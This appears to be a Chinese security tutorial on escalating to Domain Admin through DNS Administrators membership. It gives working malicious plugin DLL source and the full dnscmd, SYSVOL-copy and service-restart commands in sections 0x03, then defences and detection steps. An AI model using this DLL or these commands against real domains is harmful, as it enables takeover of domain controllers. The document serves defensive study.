域内一个特权提升技巧
字数 1060 2025-08-10 08:28:57
域内特权提升技巧:利用DNS Administrators组进行DLL注入
0x01 背景知识
在Windows域环境中,DNS服务器通常与域控制器(DC)部署在同一台服务器上。DNS服务管理基于RPC机制,通过调用c:\windows\system32\dns.exe创建RPC接口,并使用\PIPE\DNSSERVER命名管道进行通信。
关键点:
- DNS服务默认以
NT AUTHORITY\SYSTEM权限运行 - DNS Administrators组成员可以远程配置DNS服务
- DNS服务支持插件机制,允许加载自定义DLL
0x02 攻击原理
通过利用DNS Administrators组成员的权限,我们可以:
- 编写一个恶意DLL并放置在共享位置
- 配置DNS服务加载我们的DLL
- 当DNS服务重启时,DLL将以SYSTEM权限执行
- 在DLL中实现特权提升操作
0x03 详细攻击步骤
0x0301 准备恶意DLL
需要编写一个符合DNS插件规范的DLL,必须导出以下函数:
DnsPluginInitializeDnsPluginCleanupDnsPluginQuery
示例DLL代码(C++):
#include "pch.h"
DWORD WINAPI DnsPluginInitialize(PVOID a1, PVOID a2) { return 0; }
DWORD WINAPI DnsPluginCleanup() { return 0; }
DWORD WINAPI DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4) {
WinExec("net group \"Domain Admins\" sixth-hospital /ADD /DOMAIN", SW_SHOWNORMAL);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
还需要创建.def文件指定导出函数:
EXPORTS
DnsPluginInitialize
DnsPluginCleanup
DnsPluginQuery
编译后使用dumpbin /exports Dlldns.dll验证导出函数是否正确。
0x0302 执行特权提升
-
验证DNS Administrators组成员身份:
net user sixth-hospital /domain -
将DLL复制到共享位置(如SYSVOL):
copy Dlldns.dll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts -
验证目标服务器访问权限:
dir \\WIN-43QM2N9GRC4.hackhello.local\c$ -
配置DNS服务加载DLL:
dnscmd WIN-43QM2N9GRC4.hackhello.local /config /serverlevelplugindll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts\Dlldns.dll -
验证注册表配置:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters -
重启DNS服务:
sc stop dns sc start dns -
验证特权提升结果:
net user sixth-hospital /domain
0x04 防御措施
-
权限控制:
- 严格控制DNS Administrators组成员
- 遵循最小权限原则
-
监控措施:
- 监控DNS服务配置变更
- 监控注册表中
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters键值修改
-
技术防护:
- 限制SYSVOL目录的写入权限
- 实施应用程序白名单
- 监控异常DNS服务重启行为
-
检测方法:
- 定期检查DNS服务器加载的插件DLL
- 监控异常进程创建行为(特别是由dns.exe创建的)
0x05 总结
这种攻击方式利用了DNS服务的高权限特性和插件机制,通过合法的配置接口实现了特权提升。防御的关键在于严格控制DNS Administrators组的成员资格,并加强对DNS服务配置变更的监控。